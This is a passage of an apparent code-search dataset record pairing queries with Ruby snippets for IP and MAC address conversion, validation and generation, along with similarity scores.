>> 16) & 0xFF}.#{(num >> 8) & 0xFF}.#{num & 0xFF}\"\n end", "def ip_string\n\t\t\"#{settings.subnet}.#{settings.nodes_ip_offset + @ip}\"\n\tend", "def addr_iton(addr, v6=false)\n if(addr < 0x100000000 && !v6)\n return [addr].pack('N')\n else\n w = []\n w[0] = (addr >> 96) & 0xffffffff\n w[1] = (addr >> 64) & 0xffffffff\n w[2] = (addr >> 32) & 0xffffffff\n w[3] = addr & 0xffffffff\n return w.pack('N4')\n end\n end", "def mac_address(prefix: T.unsafe(nil)); end", "def prefix(ip_address)\n ip_address.split(\".\")[0..-2].join(\".\")\nend", "def full_address; end", "def getMasterIp(num)\n return \"172.17.4.#{num+100}\"\nend", "def ip2long(ip)\n long = 0\n ip.split( /\\./ ).reverse.each_with_index do |x, i|\n long += x.to_i << ( i * 8 )\n end\n long\n end", "def ip2long(ip)\n long = 0\n ip.split(/\\./).reverse.each_with_index do |x, i|\n long += x.to_i << (i * 8)\n end\n long\n end", "def to_s; \"<Align: $#{@addr.to_s(16)}\"; end", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def addr(*) end", "def addr(*) end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def ipv4_addr_to_string(uint32)\n \"#{(uint32 & 0xff000000) >> 24}.#{(uint32 & 0x00ff0000) >> 16}.#{(uint32 & 0x0000ff00) >> 8}.#{uint32 & 0x000000ff}\"\n end", "def int32_to_ip(num)\n return '0.0.0.0' if num == 0\n n = num.to_s(2) # binary version of 32-bit num\n ip = ''\n [0, 8, 16, 24].each do |x|\n ip += \"#{n[x..x + 7].to_i(2)}.\" # decimal version of 8 bit chunk\n end\n ip[0..-2]\nend", "def anonymize\n ipv4 = (m = value.match(/\\d+\\.\\d+\\.\\d+\\.\\d+$/)) ? m[0] : \"\"\n ipv6 = value.gsub(ipv4, \"\")\n ipv6 += \":\" if ipv4.present? && ipv6.present?\n ipv4 = ipv4.gsub(/\\.\\d+$/, \".0\")\n ipv6 = ipv6.gsub(/:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*$/, \"::\")\n IPAddress.new([ipv6, ipv4].keep_if { |ip| ip.present? }.join)\n end", "def add_ip(ip)\n @ips << L3::Misc.ipv42long(ip)\n end", "def test_gen_ipaddr_invalid_protocol\n assert_raises ArgumentError do\n RFauxFactory.gen_ipaddr(protocol: :ip5)\n end\n end", "def str2ipaddr(str, delim = '.')\n ipaddr = 0\n str.split(delim).each {|o| ipaddr *= 256; ipaddr += o.to_i}\n\n return ipaddr\nend", "def find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def key_for(ip)\n [prefix, ip].join\n end", "def fetch_ip_address(first_ip, i)\n array = first_ip.split('.')\n change = (array.first 3).push(array[-1].to_i + i)\n new_ip = \"\"\n for i in change\n new_ip += \".\" + i.to_s\n end\n return new_ip[1..-1]\nend", "def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end", "def next_ip\n\t\treturn false if not valid?\n\t\tif (@curr_addr > @ranges[@curr_range][1])\n\t\t\tif (@curr_range >= @ranges.length - 1)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t@curr_range += 1\n\t\t\t@curr_addr = @ranges[@curr_range][0]\n\t\tend\n\t\taddr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2])\n\t\t@curr_addr += 1\n\t\treturn addr\n\tend", "def resolve(adr)\n adr.ip = program.size\n end", "def abs_adr(ip)\n Verneuil::Address.new(ip, self)\n end", "def test_get_ip_addr_success\n scenarios = [\n [501, 1, \"127.0.250.129\"],\n [501, 10, \"127.0.250.138\"],\n [501, 20, \"127.0.250.148\"],\n [501, 100, \"127.0.250.228\"],\n [501, 127, \"127.0.250.255\"],\n [540, 1, \"127.1.14.1\"],\n [560, 7, \"127.1.24.7\"],\n\n # 2x 2^16 +- 1\n [131071, 1, \"127.128.0.1\"],\n [131071, 10, \"127.128.0.10\"],\n [131071, 127, \"127.128.0.127\"],\n\n [131072, 1, \"127.0.0.129\"],\n [131072, 10, \"127.0.0.138\"],\n [131072, 127, \"127.0.0.255\"],\n\n [131073, 1, \"127.0.1.1\"],\n [131073, 10, \"127.0.1.10\"],\n [131073, 127, \"127.0.1.127\"],\n\n # 10x 2^16 +- 1\n [655359, 1, \"127.128.0.1\"],\n [655359, 10, \"127.128.0.10\"],\n [655359, 127, \"127.128.0.127\"],\n\n [655360, 1, \"127.0.0.129\"],\n [655360, 10, \"127.0.0.138\"],\n [655360, 127, \"127.0.0.255\"],\n\n [655361, 1, \"127.0.1.1\"],\n [655361, 10, \"127.0.1.10\"],\n [655361, 127, \"127.0.1.127\"],\n ]\n\n scenarios.each do |s|\n Etc.stubs(:getpwnam).returns(\n OpenStruct.new(\n uid: s[0].to_i,\n gid: s[0].to_i,\n gecos: \"OpenShift guest\",\n dir: \"/var/lib/openshift/gear_uuid\"\n )\n )\n\n container = OpenShift::Runtime::ApplicationContainer.new(\"gear_uuid\", \"gear_uuid\", s[0],\n \"app_name\", \"gear_uuid\", \"namespace\", nil, nil, nil)\n\n assert_equal s[2], container.get_ip_addr(s[1])\n end\n end", "def ip(value)\n merge(bkip: value.to_s)\n end", "def generate_node_number\n seed_data = if node['fqdn'].nil?\n \"#{node['ipaddress']}#{node['macaddress']}#{node['ip6address']}\"\n else\n node['fqdn']\n end\n Digest::MD5.hexdigest(seed_data).unpack1('L')\n end", "def end_addr\n start_addr + length - 4\n end", "def device_ipaddress; end", "def device_ipaddress; end", "def redis_key(str)\n \"nat_address##{str}\"\n end", "def redis_key(str)\n \"nat_address##{str}\"\n end", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def literal_other_append(sql, value)\n if value.is_a?(IPAddr)\n literal_string_append(sql, \"#{value.to_s}/#{value.instance_variable_get(:@mask_addr).to_s(2).count('1')}\")\n else\n super\n end\n end", "def literal_other_append(sql, value)\n if value.is_a?(IPAddr)\n literal_string_append(sql, \"#{value.to_s}/#{value.instance_variable_get(:@mask_addr).to_s(2).count('1')}\")\n else\n super\n end\n end", "def address_for(network); end", "def arpa()\n\n base = self.ip()\n netmask = self.bits()\n\n if (@version == 4)\n net = base.split('.')\n\n if (netmask)\n while (netmask < 32)\n net.pop\n netmask = netmask + 8\n end\n end\n\n arpa = net.reverse.join('.')\n arpa << \".in-addr.arpa.\"\n\n elsif (@version == 6)\n fields = base.split(':')\n net = []\n fields.each do |field|\n (field.split(\"\")).each do |x|\n net.push(x)\n end\n end\n\n if (netmask)\n while (netmask < 128)\n net.pop\n netmask = netmask + 4\n end\n end\n\n arpa = net.reverse.join('.')\n arpa << \".ip6.arpa.\"\n\n end\n\n return(arpa)\n end", "def random_unused_loopback_ip\n [127, *(0...3).map { (rand(127) + 128)}].map(&:to_s).join('.')\n end", "def rcptto(to_addr); end", "def peeraddr(*) end", "def peeraddr(*) end", "def in_addr(addr)\n if addr =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n (($1.to_i << 24) + ($2.to_i << 16) + ($3.to_i << 8) + ($4.to_i))\n else\n nil\n end\n end", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def segwit_addr\n hash160 = Bitcoin.hash160(pub)\n p2wpkh = [ [\"00\", \"14\", hash160].join ].pack(\"H*\").bth\n segwit_addr = Bech32::SegwitAddr.new\n segwit_addr.hrp = Bitcoin.chain_params.address_version == '00' ? 'bc' : 'tb'\n segwit_addr.script_pubkey = p2wpkh\n segwit_addr.addr\n end", "def to_human\n \"DUID_LL<#{link_addr}>\"\n end", "def addr_ntoa(addr)\n # IPv4\n if (addr.length == 4)\n return addr.unpack('C4').join('.')\n end\n\n # IPv6\n if (addr.length == 16)\n return compress_address(addr.unpack('n8').map{ |c| \"%x\" % c }.join(\":\"))\n end\n\n raise RuntimeError, \"Invalid address format\"\n end", "def transform\n unless is_valid_ipv4_address?\n raise Valshamr::InvalidIPv4Error, \"Expected IPv4 address in the form of x[xx].x[xx].x[xx].x[xx], but received: #{@ip_address}.\"\n end\n\n octets = @ip_address.split \".\"\n octets.map! { |octet| convert_decimal_octet_to_hexadecimal octet.to_i }\n\n new_ip = construct_hexadecimal_portions octets\n\n \"::#{new_ip}\"\n end", "def south_african_pty_ltd_registration_number\n generate(:string) do |g|\n g.int(length: 4)\n g.lit('/')\n g.int(ranges: [1000..9_999_999_999])\n g.lit('/07')\n end\n end", "def ip; end", "def ip; end", "def gen_small_uuid\n %x[/usr/bin/uuidgen].gsub('-', '').strip\n end", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def get_arpa(c,ip)\narpa = ip\n\tif c >= 8 && c < 16\n\t\tarpa = ip.split(\".\")\n\t\tarpa = arpa.last(3).reverse\n\t\tarpa = arpa.join(\".\").to_s\n\telsif c >= 16 && c < 24\n\t\tarpa = ip.split(\".\").last(2).reverse\n\t\tarpa= arpa.join(\".\").to_s\n\telse c >= 24\n\t\tarpa = arpa.split(\".\").last\n\t\treturn arpa\n\t\t\n\tend\n\t\t \nend", "def getlx ( addr )\n \"40000000\"\nend", "def ipn_endpoint=(_arg0); end", "def arp_dest_ip= i; typecast \"arp_dest_ip\", i; end", "def peerip=(_arg0); end", "def eui_64(mac)\n if @family != Socket::AF_INET6\n raise Exception, \"EUI-64 only makes sense on IPv6 prefixes.\"\n elsif self.length != 64\n raise Exception, \"EUI-64 only makes sense on 64 bit IPv6 prefixes.\"\n end\n if mac.is_a? Integer\n mac = \"%:012x\" % mac\n end\n if mac.is_a? String\n mac.gsub!(/[^0-9a-fA-F]/, \"\")\n if mac.match(/^[0-9a-f]{12}/).nil?\n raise ArgumentError, \"Second argument must be a valid MAC address.\"\n end\n e64 = (mac[0..5] + \"fffe\" + mac[6..11]).to_i(16) ^ 0x0200000000000000\n IPAddr.new(self.first.to_i + e64, Socket::AF_INET6)\n end\n end", "def start_addr\n base_address\n end", "def gen_small_uuid()\n %x[/usr/bin/uuidgen].gsub('-', '').strip\n end", "def ip(options=nil)\n known_args = [:Objectify, :Short]\n objectify = false\n short = false\n\n if (options)\n if (!options.kind_of?(Hash))\n raise ArgumentError, \"Expected Hash, but \" +\n \"#{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if( options.has_key?(:Short) && options[:Short] == true )\n short = true\n end\n\n if( options.has_key?(:Objectify) && options[:Objectify] == true )\n objectify = true\n end\n end\n\n\n if (!objectify)\n ip = NetAddr.ip_int_to_str(@ip, @version)\n ip = NetAddr.shorten(ip) if (short && @version == 6)\n else\n ip = NetAddr.cidr_build(@version,@ip)\n end\n\n return(ip)\n end", "def read_host_ip\n ip = read_machine_ip\n base_ip = ip.split(\".\")\n base_ip[3] = \"1\"\n base_ip.join(\".\")\n end", "def start_ip= attr\n\t\tip = IP.parse(attr)\n\t\twrite_attribute(:ip_v4, (ip.proto==\"v4\"))\n\t\twrite_attribute(:start_ip, ip.to_hex) \n\tend", "def segwit_addr\n ext_pubkey.segwit_addr\n end", "def ipmi_ip_string\n\t\t\"#{settings.ipmi['subnet']}.\" + @ipmi_ip.to_s\n\tend", "def define_addrinfo_with_netmask\n @netmask = @options[:netmask]\n @ipaddr = NetAddr::CIDR.create(\n format('%<ip>s/%<mask>s', ip: @options[:ipaddr], mask: @netmask)\n )\n @wildcard = @ipaddr.wildcard_mask(true)\n end" ]
[ "0.680128", "0.66714615", "0.6523836", "0.6498401", "0.6483225", "0.6394241", "0.63633513", "0.63391477", "0.6321949", "0.63188404", "0.6315378", "0.62823814", "0.62785536", "0.627054", "0.62659657", "0.62025833", "0.6179907", "0.6147818", "0.6136345", "0.61290133", "0.6106561", "0.6104552", "0.6100204", "0.60999274", "0.6018989", "0.5964133", "0.5954646", "0.59239054", "0.59130174", "0.59045935", "0.58823884", "0.58795244", "0.5861859", "0.583739", "0.583739", "0.5830036", "0.5830036", "0.5830036", "0.5830036", "0.5830036", "0.5830036", "0.58268803", "0.58268803", "0.57988954", "0.5788419", "0.57790107", "0.5755326", "0.5713114", "0.56958145", "0.569184", "0.56823194", "0.5669254", "0.5668506", "0.56412274", "0.5625303", "0.5624337", "0.5622559", "0.5621703", "0.5618495", "0.55976003", "0.5596338", "0.5596338", "0.55769163", "0.55769163", "0.5556192", "0.5556192", "0.55413586", "0.55413586", "0.5540607", "0.5538848", "0.5531332", "0.5529977", "0.5528362", "0.5528362", "0.55135196", "0.5510284", "0.548507", "0.5473566", "0.5438406", "0.543705", "0.5423758", "0.5420712", "0.5420712", "0.54146314", "0.5410651", "0.5410651", "0.5406114", "0.5397478", "0.53914934", "0.5384631", "0.5379093", "0.5372008", "0.5363651", "0.53612256", "0.536043", "0.53526026", "0.5351406", "0.5347766", "0.5344232", "0.53283864" ]
0.7472579
0
Check generate ipaddr without prefix
def test_gen_ipaddr_without_prefix PROTOCOL_TYPES.keys.each do |protocol| assert_equal RFauxFactory.gen_ipaddr(protocol: protocol).split(PROTOCOL_SEPARATOR[protocol]).length, PROTOCOL_TYPES[protocol] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_gen_ipaddr_ip3_ending\n assert_equal RFauxFactory.gen_ipaddr(protocol: :ip3).split('.')[-1], '0'\n end", "def test_gen_ipaddr_long_prefix\n assert_raises ArgumentError do\n RFauxFactory.gen_ipaddr(protocol: :ip4, prefix: [10, 11, 12, 13])\n end\n end", "def find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def test_gen_ipaddr_with_prefix\n PROTOCOL_TYPES.keys.each do |protocol|\n ipaddr = RFauxFactory.gen_ipaddr(protocol: protocol, prefix: [10, 11])\n assert ipaddr.split(PROTOCOL_SEPARATOR[protocol]).length, PROTOCOL_TYPES[protocol]\n assert_includes ipaddr.split(PROTOCOL_SEPARATOR[protocol]), '10'\n end\n end", "def ipaddr?; end", "def addr_valid?(res)\n res << \"Provided IP addr isn't valid!\" unless ip_validation_lib.valid? addr\n end", "def okIP(addr)\nreturn addr != \"0.0.0.0\" &&\n addr != \"255.255.255.255\" &&\n !addr.match(/^169\\.254.*/) &&\n !addr.match(/^10.*/) &&\n !addr.match(/^172\\.[1-3].*/) && # TODO: match the block better\n !addr.match(/^192\\.168.*/)\nend", "def is_addr(s)\n s.match(/^[0-9a-fA-F]+:$/) != nil\nend", "def ipaddr; end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def prefix(ip_address)\n ip_address.split(\".\")[0..-2].join(\".\")\nend", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def check_ip; end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def ip_v4_address; end", "def is_ip_addr?(part)\n ip = IPAddr.new(part)\n ip.ipv4?\n rescue IPAddr::InvalidAddressError => e\n false\n end", "def is_valid_ip?(address)\n octets = address.split('.')\n return false if octets.length != 4\n octets.each {|octet| return false if octet.to_i > 255 || octet.to_i < 0}\n true\nend", "def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end", "def check_ip_any_alias\n case @options[:ipaddr]\n when nil, '', 'any', /^\\s*$/\n @options[:ipaddr] = '0.0.0.0'\n @options[:netmask] = 0\n end\n end", "def private_ip_v4_address; end", "def exact_ip_address?(str)\n !!(str =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/)\nend", "def ip\n ''\n end", "def dot_seperated_ip_address?(input_string)\n numbers = input_string.split('.')\n return false if numbers.size != 4\n\n numbers.each do |num|\n return false if is_an_ip_number?(num) == false\n end\n true\nend", "def public_ip_v4_address; end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n dot_separated_words.each do |word|\n return false unless (0..256).include?(word.to_i)\n end\n\n return true\nend", "def next_ip\n\t\treturn false if not valid?\n\t\tif (@curr_addr > @ranges[@curr_range][1])\n\t\t\tif (@curr_range >= @ranges.length - 1)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t@curr_range += 1\n\t\t\t@curr_addr = @ranges[@curr_range][0]\n\t\tend\n\t\taddr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2])\n\t\t@curr_addr += 1\n\t\treturn addr\n\tend", "def validate_ip_address(item)\n error(msg: 'Invalid IP address string', item: __method__.to_s) if (begin\n IPAddr.new(item)\n rescue StandardError\n nil\n end).nil?\n end", "def ipv4_address?(n)\n arr = n.split('.')\n if arr.count != 4 ||\n !('1'..'255').include?(arr[0])\n return false\n end\n\n arr.each do |num|\n return false if !('1'..'255').include?(num)\n end\n true\nend", "def anonymize\n ipv4 = (m = value.match(/\\d+\\.\\d+\\.\\d+\\.\\d+$/)) ? m[0] : \"\"\n ipv6 = value.gsub(ipv4, \"\")\n ipv6 += \":\" if ipv4.present? && ipv6.present?\n ipv4 = ipv4.gsub(/\\.\\d+$/, \".0\")\n ipv6 = ipv6.gsub(/:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*$/, \"::\")\n IPAddress.new([ipv6, ipv4].keep_if { |ip| ip.present? }.join)\n end", "def mac_address(prefix: T.unsafe(nil)); end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size != 4\n return false\n else\n dot_separated_words.each do |word|\n if (0..256).include?(word.to_i)\n next\n else\n return false\n end\n end\n end\n return true\nend", "def check_address(_)\n raise NotImplementedError\n end", "def test_gen_ipaddr_invalid_protocol\n assert_raises ArgumentError do\n RFauxFactory.gen_ipaddr(protocol: :ip5)\n end\n end", "def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend", "def ip_valid?\n return if ip.blank?\n\n IPAddr.new(ip.strip, Socket::AF_INET)\n rescue IPAddr::InvalidAddressError, IPAddr::AddressFamilyError\n errors.add(:ip, :invalid)\n end", "def is_ipaddr?\n begin\n ip = IPAddr.new(self)\n return ip.to_s == self\n rescue ArgumentError\n return false\n end\n end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_from_num(i)\n \"192.168.90.#{i+IP_OFFSET}\"\nend", "def test_valid_ipaddr\n # XXX assert_match real regex\n\t\tassert @user[:ipaddr].length<=15\n\t\t@user[:ipaddr] = '123.123.123.123.456'\n\t\tassert [email protected]\n end", "def random_unused_loopback_ip\n [127, *(0...3).map { (rand(127) + 128)}].map(&:to_s).join('.')\n end", "def valid_ip?(address)\n address.is_a?(String)? validate_number_count(address) : false\nend", "def sip_sanitize_address(addr)\n\t\tif ( addr =~ /:/ )\n\t\t\treturn addr.scan(/.*:(.*)/)[0][0]\n\t\tend\n\t\treturn addr\n\tend", "def ip?\n return (proto == 'ip')\n end", "def hex_address_unique?(hex_address)\n return false if hex_address == '0000'\n return false if hex_address == 'ffff'\n if Chef::Config[:solo]\n Chef::Log.warn('Running solo, cannot check address uniqueness')\n return true\n else\n return search(:node, \"tinc_hex_address:#{ha}\").empty?\n end\nend", "def address_prefix\n return unless exists?\n properties.addressPrefix\n end", "def ip_address? (str)\n\treturn str.match? /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split('.')\n return false unless dot_separated_words == 4\n until dot_separated_words.empty?\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n # return \"Invalid\" if dot_separated_words.length != 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n return true\nend", "def only_ip()\n\n ip = ARGV[0]\n\n ipv4 = /^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/\n ipv6 = /^\\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\s*$/ \n\n if ip =~ ipv4 || ip =~ ipv6\n $onlyip = ip\n ARGV.shift\n else\n usage()\n end\n\nend", "def full_address; end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def GetIpFromId(id)\n \"192.168.0.#{id+1}\"\n end", "def dot_separated_ip_address?(input_string)\r\n dot_separated_words = input_string.split(\".\")\r\n while dot_separated_words.size > 0 do\r\n word = dot_separated_words.pop\r\n break unless is_an_ip_number?(word)\r\n end\r\n return true\r\nend", "def valid_ip?(address)\n #ternary that validates number count if string or returns false\n address.is_a?(String) ? validate_number_count(address) : false\nend", "def nodeIP(num)\n return \"10.17.4.#{num+200}\"\nend", "def defang_i_paddr(address)\n return address.split('.').join('[.]')\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def dot_separated_ip_address?(input_string)\r\n dot_separated_words = input_string.split(\".\")\r\n return false unless dot_separated_words.size == 4 #\r\n\r\n while dot_separated_words.size > 0 do\r\n word = dot_separated_words.pop\r\n return false unless is_an_ip_number?(word)\r\n end\r\n\r\n true\r\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split('.')\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def valid_ip?(str)\n str_arr = str.split(\".\");\n return false if str_arr.length != 4\n\n str_arr.each do |el|\n return false unless el.match(/^\\d{0,3}$/) && el.to_i >= 0 && el.to_i <= 255\n end\n return true \nend", "def defang_i_paddr(address)\n address.gsub('.', '[.]')\nend", "def check_ip_address\n if ip_address\n result = IPAddress.valid? ip_address\n errors.add( 'Incorrect IP formatting' ) unless result\n end\n end", "def validate_ip ip\n raise Error, \"Invalid IP Address #{ip}\" unless ip =~ /(\\d{1,3}\\.){3}\\d{1,3}/\n ip\n end", "def validate_ip(value)\n case value\n when Resolv::IPv4::Regex\n return true\n when Resolv::IPv6::Regex\n return true\n else\n return false\n end\n end", "def valid_ip?(str)\n begin\n IPAddr.new(str).ipv4?\n true\n rescue\n false\n end\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = 